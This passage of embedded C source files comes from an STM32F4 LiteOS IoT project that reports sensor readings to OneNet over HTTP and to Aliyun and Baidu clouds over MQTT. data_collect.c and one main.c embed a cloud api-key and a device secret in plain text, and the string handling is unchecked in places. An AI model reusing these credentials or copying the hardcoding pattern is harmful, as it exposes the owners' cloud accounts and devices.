if(MsgBuf[i+6]==':'&&MsgBuf[i+7]=='0') { if(MsgBuf[i+17]=='L'&&MsgBuf[i+18]=='E'&&MsgBuf[i+19]=='D'&&MsgBuf[i+20]=='1') { LED2_OFF;i=0; memset(MsgBuf,0,1024); } } } } tcp_client_flag=0; } } #endif /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ ``` main.c ```/* Includes LiteOS------------------------------------------------------------------*/ #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" #include "cmsis_os.h" #include <stdio.h> #include "stm32f4xx.h" #include "stm32f4xx_conf.h" #include "bsp_led.h" #include "bsp_debug_usart.h" #include "dwt.h" #include "bsp_key.h" #include "lwip/tcp.h" #include "netconf.h" #include "tcp_echoclient.h" #include "stm32f429_phy.h" #include "bsp_adc.h" /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; UINT32 g_TskHandle; __IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */ extern __IO uint8_t EthLinkStatus; /* Private function prototypes -----------------------------------------------*/ static void TIM3_Config(uint16_t period,uint16_t prescaler); /* Private functions ---------------------------------------------------------*/ void TIM3_IRQHandler(void); void hardware_init(void) { LED_GPIO_Config(); Key1_GPIO_Config(); Key2_GPIO_Config(); KeyCreate(&Key1,GetPinStateOfKey1); KeyCreate(&Key2,GetPinStateOfKey2); Debug_USART_Config(); DelayInit(SystemCoreClock); LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL); TIM3_Config(999,899); printf("Sysclock is %d\r\n",SystemCoreClock); } static void TIM3_Config(uint16_t period,uint16_t prescaler) { TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; TIM_TimeBaseInitStructure.TIM_Period=period; TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1; TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure); TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); TIM_Cmd(TIM3,ENABLE); NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE; NVIC_Init(&NVIC_InitStructure); } void TIM3_IRQHandler(void) { if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) { LocalTime+=10; } TIM_ClearITPendingBit(TIM3,TIM_IT_Update); } void oneNetTask(void) { uint8_t flag=0; /* ๅˆๅง‹ๅŒ–LED */ LED_GPIO_Config(); /* ๅˆๅง‹ๅŒ–่ฐƒ่ฏ•ไธฒๅฃ๏ผŒไธ€่ˆฌไธบไธฒๅฃ1 */ Debug_USART_Config(); printf("ไปฅๅคช็ฝ‘้€šไฟกไพ‹็จ‹\n"); /* Configure ethernet (GPIOs, clocks, MAC, DMA) */ ETH_BSP_Config(); printf("PHYๅˆๅง‹ๅŒ–็ป“ๆŸ\n"); /* Initilaize the LwIP stack */ LwIP_Init(); printf(" KEY1: ๅฏๅŠจTCP่ฟžๆŽฅ\n"); printf(" KEY2: ๆ–ญๅผ€TCP่ฟžๆŽฅ\n"); /* IPๅœฐๅ€ๅ’Œ็ซฏๅฃๅฏๅœจnetconf.hๆ–‡ไปถไฟฎๆ”น๏ผŒๆˆ–่€…ไฝฟ็”จDHCPๆœๅŠก่‡ชๅŠจ่Žทๅ–IP (้œ€่ฆ่ทฏ็”ฑๅ™จๆ”ฏๆŒ)*/ printf("ๆœฌๅœฐIPๅ’Œ็ซฏๅฃ: %d.%d.%d.%d\n",IP_ADDR0,IP_ADDR1,IP_ADDR2,IP_ADDR3); printf("่ฟœ็ซฏIPๅ’Œ็ซฏๅฃ: %d.%d.%d.%d:%d\n",DEST_IP_ADDR0, DEST_IP_ADDR1,DEST_IP_ADDR2, DEST_IP_ADDR3,DEST_PORT); Rheostat_Init(); while(1) { if(flag==0) { LED2_ON; if (EthLinkStatus == 0) { printf("connect to tcp server\n"); /*connect to tcp server */ tcp_echoclient_connect(); flag=1; } } if(0) { LED2_OFF; tcp_echoclient_disconnect(); flag=0; } /* check if any packet received */ if (ETH_CheckFrameReceived()) { /* process received ethernet packet */ LwIP_Pkt_Handle(); } /* handle periodic timers for LwIP */ LwIP_Periodic_Handle(LocalTime); } } UINT32 creat_task1() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 1; task_init_param.pcName = "oneNetTask"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)oneNetTask; task_init_param.uwStackSize = 0xA00; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } VOID task2() { int count = 0; while(1) { count++; printf("++++++++This is task2,count is %d\r\n",count); LOS_TaskDelay(1000); } } UINT32 creat_task2() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task2"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } int main(void) { UINT32 uwRet = LOS_OK; LOS_KernelInit();//ๅ†…ๆ ธๅˆๅง‹ๅŒ– hardware_init();//็กฌไปถๅˆๅง‹ๅŒ– uwRet = creat_task1(); if(uwRet != LOS_OK) { return uwRet; } uwRet = creat_task2(); if(uwRet != LOS_OK) { return uwRet; } LOS_Start();//ๅฏๅŠจLiteOS } ``` data_collect.c ```#include "data_collect.h" #include "stdio.h" #include "string.h" #include "stdlib.h" #include "bsp_adc.h" u8 CollectDataBuf[MAX_BUF_SIZE]={0}; u8 CollectDataLen=0; u8 CollectDataSendFlag=0; float Temperature=15.0; u32 Ligthness=200; u8 getTempHttpData(void) { u8 temp[10]={0}; u8 temp1[100]={0}; // if(CollectDataSendFlag==1) // return 0; strcpy(CollectDataBuf,"POST /devices/30962671/datapoints HTTP/1.1\r\n"); strcat(CollectDataBuf,"api-key:MxVZE67SCEn0U0MhwvwkBcGbHBQ=\r\n"); strcat(CollectDataBuf,"Host:api.heclouds.com\r\n"); strcpy(temp1,"{\"datastreams\":[{\"id\":\"temperature\",\"datapoints\":[{\"value\":"); sprintf(temp,"%d.%d",(unsigned int)Temperature,(unsigned int)(Temperature-(unsigned int)Temperature)*1000); //sprintf(temp,"%06.1f",Temperature); strcat(temp1,temp); strcat(temp1,"}]}]}"); sprintf(temp,"%d",strlen(temp1)); strcat(CollectDataBuf,"Content-Length:"); strcat(CollectDataBuf,temp); strcat(CollectDataBuf,"\r\n\r\n"); strcat(CollectDataBuf,temp1); CollectDataLen=strlen(CollectDataBuf); CollectDataSendFlag=1; return 1; } u8 getLightData(void) { u8 temp[10]={0}; u8 temp1[100]={0}; // if(CollectDataSendFlag==1) // return 0; Ligthness=ADC_ConvertedValue; strcpy(CollectDataBuf,"POST /devices/30962671/datapoints HTTP/1.1\r\n"); strcat(CollectDataBuf,"api-key:MxVZE67SCEn0U0MhwvwkBcGbHBQ=\r\n"); strcat(CollectDataBuf,"Host:api.heclouds.com\r\n"); strcpy(temp1,"{\"datastreams\":[{\"id\":\"light\",\"datapoints\":[{\"value\":"); sprintf(temp,"%d",Ligthness); strcat(temp1,temp); strcat(temp1,"}]}]}"); sprintf(temp,"%d",strlen(temp1)); strcat(CollectDataBuf,"Content-Length:"); strcat(CollectDataBuf,temp); strcat(CollectDataBuf,"\r\n\r\n"); strcat(CollectDataBuf,temp1); CollectDataLen=strlen(CollectDataBuf); CollectDataSendFlag=1; return 1; } ``` los_bsp_lwip.h ```#ifndef _LOS_BSP_LWIP_H #define _LOS_BSP_LWIP_H extern void LOS_EvbLwipInit(void); extern void lwip_pkt_handle(void); #endif /* _LOS_BSP_LWIP_H */ ``` main.c ```/* Includes LiteOS------------------------------------------------------------------*/ #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" #include "cmsis_os.h" #include <stdio.h> #include "stm32f4xx.h" #include "stm32f4xx_conf.h" #include "bsp_led.h" #include "bsp_debug_usart.h" #include "dwt.h" #include "bsp_key.h" #include "LAN8742A.h" #include "bsp_rtc.h" #include "bsp_rng.h" #include "lwipopts/netconf.h" #include "main.h" /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; UINT32 g_TskHandle; __IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */ net_hnd_t hnet; /* Is initialized by cloud_main(). */ unsigned int hrng; UINT32 g_usSemID; /* Private function prototypes -----------------------------------------------*/ static void TIM3_Config(uint16_t period,uint16_t prescaler); /* Private functions ---------------------------------------------------------*/ void TIM3_IRQHandler(void); void hardware_init(void) { LED_GPIO_Config(); Key1_GPIO_Config(); Key2_GPIO_Config(); KeyCreate(&Key1,GetPinStateOfKey1); KeyCreate(&Key2,GetPinStateOfKey2); Debug_USART_Config(); DelayInit(SystemCoreClock); LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL); TIM3_Config(999,899); printf("Sysclock is %d\r\n",SystemCoreClock); RTC_CLK_Config(); ETH_BSP_Config(); printf("LAN8720A BSP INIT AND COMFIGURE SUCCESS\n"); /* RTC้…็ฝฎ๏ผš้€‰ๆ‹ฉๆ—ถ้’Ÿๆบ๏ผŒ่ฎพ็ฝฎRTC_CLK็š„ๅˆ†้ข‘็ณปๆ•ฐ */ RTC_CLK_Config(); RNG_Config(); } static void TIM3_Config(uint16_t period,uint16_t prescaler) { TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; TIM_TimeBaseInitStructure.TIM_Period=period; TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1; TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure); TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); TIM_Cmd(TIM3,ENABLE); NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE; NVIC_Init(&NVIC_InitStructure); } void TIM3_IRQHandler(void) { if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) { LocalTime+=10; } TIM_ClearITPendingBit(TIM3,TIM_IT_Update); } VOID task1() { int count = 0; while(1) { count++; printf("------This is task1,count is %d\r\n",count); LOS_TaskDelay(2000); } } UINT32 creat_task1() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task1"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task1; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } VOID task2() { int count = 0; while(1) { count++; printf("++++++++This is task2,count is %d\r\n",count); LOS_TaskDelay(1000); } } UINT32 creat_task2() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task2"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } UINT32 creat_task3() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task3"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)LwIP_DHCP_task; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } void cloud_test(void) { UINT32 uwRet; uwRet = LOS_SemPend(g_usSemID, LOS_WAIT_FOREVER); platform_init(); subscribe_publish_sensor_values(); platform_deinit(); } UINT32 creat_task4() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 8; task_init_param.pcName = "task4"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)cloud_test; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } int main(void) { UINT32 uwRet = LOS_OK; LOS_KernelInit();//ๅ†…ๆ ธๅˆๅง‹ๅŒ– hardware_init();//็กฌไปถๅˆๅง‹ๅŒ– LOS_SemCreate(0,&g_usSemID); LwIP_Init();//LWIPๅˆๅง‹ๅŒ– //uwRet = creat_task1(); //if(uwRet != LOS_OK) // { // return uwRet; // } //uwRet = creat_task2(); // if(uwRet != LOS_OK) // { // return uwRet; // } #ifdef USE_DHCP uwRet = creat_task3(); if(uwRet != LOS_OK) { return uwRet; } #endif Delay10ms(100); uwRet = creat_task4(); if(uwRet != LOS_OK) { return uwRet; } LOS_Start();//ๅฏๅŠจLiteOS } ``` mem_manage.c ```#include "los_memory.h" #include "mem_manage.h" void liteosfree(void *parg) { (VOID)LOS_MemFree(m_aucSysMem0, (VOID *)parg); } void *liteoscalloc(size_t n , size_t size) { return (LOS_MemAlloc (m_aucSysMem0, n* size)); }``` bsp_rng.h ```#ifndef __RNG_H #define __RNG_H #include "stm32f4xx.h" int RNG_Config(void); uint32_t RNG_Get_RandomNum(void); int RNG_Get_RandomRange(int min,int max); #endif /* __RNG_H */``` iothub_mqtt_client.h ```/*********************************************Copyright (c)*********************************************** ** Wuhan CCEM ** **--------------File Info--------------------------------------------------------------------------------- ** File name: ** Latest modified Date: ** Latest Version: V1.0 ** Descriptions: Contains header files and defined the structures ** **-------------------------------------------------------------------------------------------------------- ** Created by: shhuang ** Created date: 2018-05-11 ** Version: V1.0 ** Descriptions: The original version ** **-------------------------------------------------------------------------------------------------------- ** Modified by: ** Modified date: ** Version: ** Descriptions: ** *********************************************************************************************************/ #ifndef __IOTHUB_MQTT_CLIENT_H #define __IOTHUB_MQTT_CLIENT_H #define __INTELLIGENT_FIRE_BAIDUCLOUD_H #define __TRANSPORT_H #ifdef __cplusplus extern "C" { #endif /******************************************************************************************************** ** Includes *********************************************************************************************************/ extern unsigned int g_usGetNetStatusSemID; extern unsigned int g_usGetNetDataSemID; /********************************************************************************************************* ** Function declaration *********************************************************************************************************/ void connect_mqtt_server(void); void disconnect_mqtt_server(void); void mqtt_client_pubtopic(void); #ifdef __cplusplus } #endif #endif /********************************************************************************************************* END FILE *********************************************************************************************************/ ``` intelligent_fire_baiducloud.c ```/*********************************************Copyright (c)*********************************************** ** Wuhan CCEM ** **--------------File Info--------------------------------------------------------------------------------- ** File name: ** Latest modified Date: ** Latest Version: ** Descriptions: ** **-------------------------------------------------------------------------------------------------------- ** Created by: shhuang ** Created date: 2018-05-11 ** Version: V1.0 ** Descriptions: The original version ** **-------------------------------------------------------------------------------------------------------- ** Modified by: ** Modified date: ** Version: ** Descriptions: ** *********************************************************************************************************/ /******************************************************************************************************** ** Includes *********************************************************************************************************/ #include "intelligent_fire_baiducloud.h" #include "los_task.ph" #include "bsp_debug_usart.h" #include "netconf.h" #include "tcp_echoclient.h" #include "stm32f429_phy.h" #include "bsp_led.h" #include "bsp_key.h" #include "iothub_mqtt_client.h" extern KEY Key1,Key2; extern __IO uint32_t LocalTime; UINT32 g_KeyTskHandle; VOID LwipAppInit(void) { /* Configure ethernet (GPIOs, clocks, MAC, DMA) */ ETH_BSP_Config(); PRINTF_DBG("PHYๅˆๅง‹ๅŒ–็ป“ๆŸ\n"); /* Initilaize the LwIP stack */ LwIP_Init(); PRINTF_DBG(" KEY1: ๅฏๅŠจ/ๆ–ญๅผ€TCP่ฟžๆŽฅ\n"); // PRINTF_DBG(" KEY2: ๆ–ญๅผ€TCP่ฟžๆŽฅ\n"); /* IPๅœฐๅ€ๅ’Œ็ซฏๅฃๅฏๅœจnetconf.hๆ–‡ไปถไฟฎๆ”น๏ผŒๆˆ–่€…ไฝฟ็”จDHCPๆœๅŠก่‡ชๅŠจ่Žทๅ–IP (้œ€่ฆ่ทฏ็”ฑๅ™จๆ”ฏๆŒ)*/ PRINTF_DBG("ๆœฌๅœฐIPๅ’Œ็ซฏๅฃ: %d.%d.%d.%d\n",IP_ADDR0,IP_ADDR1,IP_ADDR2,IP_ADDR3); PRINTF_DBG("่ฟœ็ซฏIPๅ’Œ็ซฏๅฃ: %d.%d.%d.%d:%d\n",DEST_IP_ADDR0, DEST_IP_ADDR1,DEST_IP_ADDR2, DEST_IP_ADDR3,DEST_PORT); } unsigned char mqtt_server_connstatus = 0; unsigned char mqtt_send_alarm_flg = 0; VOID key_task(VOID) { while(1) { Key_RefreshState(&Key1);//ๅˆทๆ–ฐๆŒ‰้”ฎ็Šถๆ€ Key_RefreshState(&Key2);//ๅˆทๆ–ฐๆŒ‰้”ฎ็Šถๆ€ if(Key_AccessTimes(&Key1,KEY_ACCESS_READ)!=0) { if(mqtt_server_connstatus==0) { if (EthLinkStatus == 0) { connect_mqtt_server(); } } else { disconnect_mqtt_server(); } Key_AccessTimes(&Key1,KEY_ACCESS_WRITE_CLEAR); } if(Key_AccessTimes(&Key2,KEY_ACCESS_READ)!=0) { if(mqtt_send_alarm_flg) { PRINTF_DBG("\r\n mqtt client stop send alarm message !!!"); mqtt_send_alarm_flg = 0; } else if(mqtt_send_alarm_flg==0) { PRINTF_DBG("\r\n mqtt client start send alarm message !!!"); mqtt_send_alarm_flg = 1; } Key_AccessTimes(&Key2,KEY_ACCESS_WRITE_CLEAR); } } } UINT32 creat_key_task() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "key_task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)key_task; task_init_param.uwStackSize = 0x800; uwRet = LOS_TaskCreate(&g_KeyTskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } UINT32 g_LwipPollTskHandle; VOID lwip_poll_task(VOID) { LwipAppInit(); while(1) { /* check if any packet received */ if (ETH_CheckFrameReceived()) { /* process received ethernet packet */ LwIP_Pkt_Handle(); } /* handle periodic timers for LwIP */ LwIP_Periodic_Handle(LocalTime); } } UINT32 creat_lwip_poll_task() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "lwip_poll_task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)lwip_poll_task; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_LwipPollTskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } /********************************************************************************************************* END FILE *********************************************************************************************************/ ``` CommMath.h ```/* *********************************************************************************** * *ๅŠŸ่ƒฝ๏ผš * * * *่ฏดๆ˜Ž๏ผš1. * 2. * 3. * * *By :Liubing๏ผˆๅผ€ๅฟƒๅฐฑๅฅฝ๏ผ‰ *Contact :371007204@qq.com *History :2015/7/1 22:22:27 *********************************************************************************** */ #ifndef _COMMMATH_H_ #define _COMMMATH_H_ #include "lb_type.h" #ifdef _COMMMATH_C_ #define COMMMATH_EXT #else #define COMMMATH_EXT extern #endif #ifdef _COMMMATH_C_ #endif COMMMATH_EXT void MemCopy(BYTE *des,BYTE *src,int len); COMMMATH_EXT WORD CombineWord(BYTE *buf,int *index); COMMMATH_EXT DWORD CombineDword(BYTE *buf,int *index); COMMMATH_EXT void LoadWord(WORD wData,BYTE *buf,int *index); COMMMATH_EXT void LoadDword(DWORD dwData,BYTE *buf,int *index); #endif ``` mem_manage.h ```#ifndef _MEM_MANAGE_H #define _MEM_MANAGE_H #include <stdlib.h> void liteosfree(void *parg); void *liteoscalloc(size_t n , size_t size); #endif``` stm32f4xx_empl_drv.h ```#ifndef __STM32F4XX_EMPL_DRV_H #define __STM32F4XX_EMPL_DRV_H //#include "stm32f4xx_hal.h" #define MAX_WRITE_SIZE 128 int stm32f4xx_i2c_write (unsigned char slave_addr, unsigned char reg_addr, unsigned char length, unsigned char const *data); int stm32f4xx_i2c_read (unsigned char slave_addr, unsigned char reg_addr, unsigned char length, unsigned char *data); void stm32f4xx_delay_ms (unsigned long num_ms); void stm32f4xx_get_ms (unsigned long *count); void stm32f4xx_log_i (char const *s, ...); void stm32f4xx_log_e (char const *s, ...); #endif /* __STM32F4XX_EMPL_DRV_H */ ``` lock_liteos.c ```// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #include "azure_c_shared_utility/lock.h" #include "azure_c_shared_utility/xlogging.h" LOCK_HANDLE Lock_Init(void) { /* Codes_SRS_LOCK_10_002: [Lock_Init on success shall return a valid lock handle which should be a non NULL value] */ /* Codes_SRS_LOCK_10_003: [Lock_Init on error shall return NULL ] */ // xSemaphoreCreateMutex is the obvious choice, but it returns a recursive // sync object, which we do not want for the lock adapter. UINT32 usSemID; if (LOS_BinarySemCreate(0, &usSemID) == LOS_OK) { if (LOS_SemPost(usSemID) != LOS_OK) { LogError("Lock_Init LOS_SemPost failed after create."); (void)LOS_SemDelete(usSemID); usSemID = LOSCFG_BASE_IPC_SEM_LIMIT; } } else { LogError("Lock_Init LOS_BinarySemCreate failed."); usSemID = LOSCFG_BASE_IPC_SEM_LIMIT; } return usSemID; } LOCK_RESULT Lock_Deinit(LOCK_HANDLE handle) { LOCK_RESULT result; if (handle >= LOSCFG_BASE_IPC_SEM_LIMIT) { LogError("Lock_Deinit Invalid argument; handle is NULL."); result = LOCK_ERROR; } else { (void)LOS_SemDelete(handle); result = LOCK_OK; } return result; } LOCK_RESULT Lock(LOCK_HANDLE handle) { LOCK_RESULT result; if (handle >= LOSCFG_BASE_IPC_SEM_LIMIT) { LogError("Lock Invalid argument; handle is NULL."); result = LOCK_ERROR; } else { if (LOS_SemPend(handle, LOS_WAIT_FOREVER) == LOS_OK) { result = LOCK_OK; } else { LogError("Lock LOS_SemPend failed."); /* Codes_SRS_LOCK_10_006: [Lock on error shall return LOCK_ERROR] */ result = LOCK_ERROR; } } return result; } LOCK_RESULT Unlock(LOCK_HANDLE handle) { LOCK_RESULT result; if (handle >= LOSCFG_BASE_IPC_SEM_LIMIT) { LogError("Unlock Invalid argument; handle is NULL."); result = LOCK_ERROR; } else { if (LOS_SemPost(handle) == LOS_OK) { result = LOCK_OK; } else { LogError("Unlock LOS_SemPost failed."); /* Codes_SRS_LOCK_10_006: [Lock on error shall return LOCK_ERROR] */ result = LOCK_ERROR; } } return result; } ``` main.c ```/* Includes LiteOS------------------------------------------------------------------*/ #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" #include "cmsis_os.h" #include <stdio.h> #include "stm32f4xx.h" #include "stm32f4xx_conf.h" #include "bsp_led.h" #include "bsp_debug_usart.h" #include "dwt.h" #include "bsp_key.h" #include "include.h" /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ #define EXAMPLE_TRACE(fmt, args...) \ do { \ printf("%s|%03d :: ", __func__, __LINE__); \ printf(fmt, ##args); \ printf("%s", "\r\n"); \ } while(0) /* These are pre-defined topics */ #define PRODUCT_KEY "a1xqhyNLtcU" #define DEVICE_NAME "MEE-H1" #define DEVICE_SECRET "uhCxhmb1oh1qO4ocqxMsB4kgBEeFUMBd" //{"method":"thing.event.property.post","id":"2008001","params":{"PowerSwitch":1},"version":"1.0.0"} #define ALINK_BODY_FORMAT "{\"method\":\"%s\",\"id\":\"%d\",\"params\":{\"PowerSwitch\":%d},\"version\":\"1.0\"}" #define ALINK_TOPIC_PROP_POST "/sys/"PRODUCT_KEY"/"DEVICE_NAME"/thing/event/property/post" #define ALINK_TOPIC_PROP_POSTRSP "/sys/"PRODUCT_KEY"/"DEVICE_NAME"/thing/event/property/post_reply" #define ALINK_TOPIC_PROP_SET "/sys/"PRODUCT_KEY"/"DEVICE_NAME"/thing/service/property/set" #define ALINK_METHOD_PROP_POST "thing.event.property.post" #define MQTT_MSGLEN (1024) /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; UINT32 g_TskHandle; UINT32 g_TskStart; __IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */ char UserSwitch; /* Private function prototypes -----------------------------------------------*/ /* Private functions ---------------------------------------------------------*/ void hardware_init(void) { LED_GPIO_Config(); Key1_GPIO_Config(); Key2_GPIO_Config(); KeyCreate(&Key1,GetPinStateOfKey1); KeyCreate(&Key2,GetPinStateOfKey2); Debug_USART_Config(); DelayInit(SystemCoreClock); printf("Sysclock is %d\r\n",SystemCoreClock); ETH_BSP_Config();//ไปฅๅคช็ฝ‘้…็ฝฎ } void event_handle(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg) { uintptr_t packet_id = (uintptr_t)msg->msg; iotx_mqtt_topic_info_pt topic_info = (iotx_mqtt_topic_info_pt)msg->msg; switch (msg->event_type) { case IOTX_MQTT_EVENT_UNDEF: EXAMPLE_TRACE("undefined event occur."); break; case IOTX_MQTT_EVENT_DISCONNECT: EXAMPLE_TRACE("MQTT disconnect."); break; case IOTX_MQTT_EVENT_RECONNECT: EXAMPLE_TRACE("MQTT reconnect."); break; case IOTX_MQTT_EVENT_SUBCRIBE_SUCCESS: EXAMPLE_TRACE("subscribe success, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_SUBCRIBE_TIMEOUT: EXAMPLE_TRACE("subscribe wait ack timeout, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_SUBCRIBE_NACK: EXAMPLE_TRACE("subscribe nack, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_UNSUBCRIBE_SUCCESS: EXAMPLE_TRACE("unsubscribe success, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_UNSUBCRIBE_TIMEOUT: EXAMPLE_TRACE("unsubscribe timeout, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_UNSUBCRIBE_NACK: EXAMPLE_TRACE("unsubscribe nack, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_SUCCESS: EXAMPLE_TRACE("publish success, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_TIMEOUT: EXAMPLE_TRACE("publish timeout, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_NACK: EXAMPLE_TRACE("publish nack, packet-id=%u", (unsigned int)packet_id); break; case IOTX_MQTT_EVENT_PUBLISH_RECVEIVED: EXAMPLE_TRACE("topic message arrived but without any related handle: topic=%.*s, topic_msg=%.*s", topic_info->topic_len, topic_info->ptopic, topic_info->payload_len, topic_info->payload); break; default: EXAMPLE_TRACE("Should NOT arrive here."); break; } } static void _demo_message_arrive(void *pcontext, void *pclient, iotx_mqtt_event_msg_pt msg) { iotx_mqtt_topic_info_pt ptopic_info = (iotx_mqtt_topic_info_pt) msg->msg; /* print topic name and topic message */ EXAMPLE_TRACE("----"); EXAMPLE_TRACE("Topic: '%.*s' (Length: %d)", ptopic_info->topic_len, ptopic_info->ptopic, ptopic_info->topic_len); EXAMPLE_TRACE("Payload: '%.*s' (Length: %d)", ptopic_info->payload_len, ptopic_info->payload, ptopic_info->payload_len); EXAMPLE_TRACE("----"); if(ptopic_info->topic_len==50) { const char *inf = "\"PowerSwitch\":"; char *dat = strstr(ptopic_info->payload, inf); dat += strlen(inf); UserSwitch = dat[0] - '0'; if(UserSwitch==0) { LED_RGBOFF; } else { LED_BLUE; } } } int mqtt_client(void) { extern __IO uint8_t DHCP_state; int rc = 0; void *pclient; iotx_conn_info_pt pconn_info; iotx_mqtt_param_t mqtt_params; iotx_mqtt_topic_info_t topic_msg; char msg_pub[128]; char *msg_buf = NULL, *msg_readbuf = NULL; char out; while(DHCP_state != DHCP_ADDRESS_ASSIGNED) { HAL_SleepMs(1000); } if (NULL == (msg_buf = (char *)HAL_Malloc(MQTT_MSGLEN))) { EXAMPLE_TRACE("not enough memory"); rc = -1; goto do_exit; } if (NULL == (msg_readbuf = (char *)HAL_Malloc(MQTT_MSGLEN))) { EXAMPLE_TRACE("not enough memory"); rc = -1; goto do_exit; } /* Device AUTH */ if (0 != IOT_SetupConnInfo(PRODUCT_KEY, DEVICE_NAME, DEVICE_SECRET, (void **)&pconn_info)) { EXAMPLE_TRACE("AUTH request 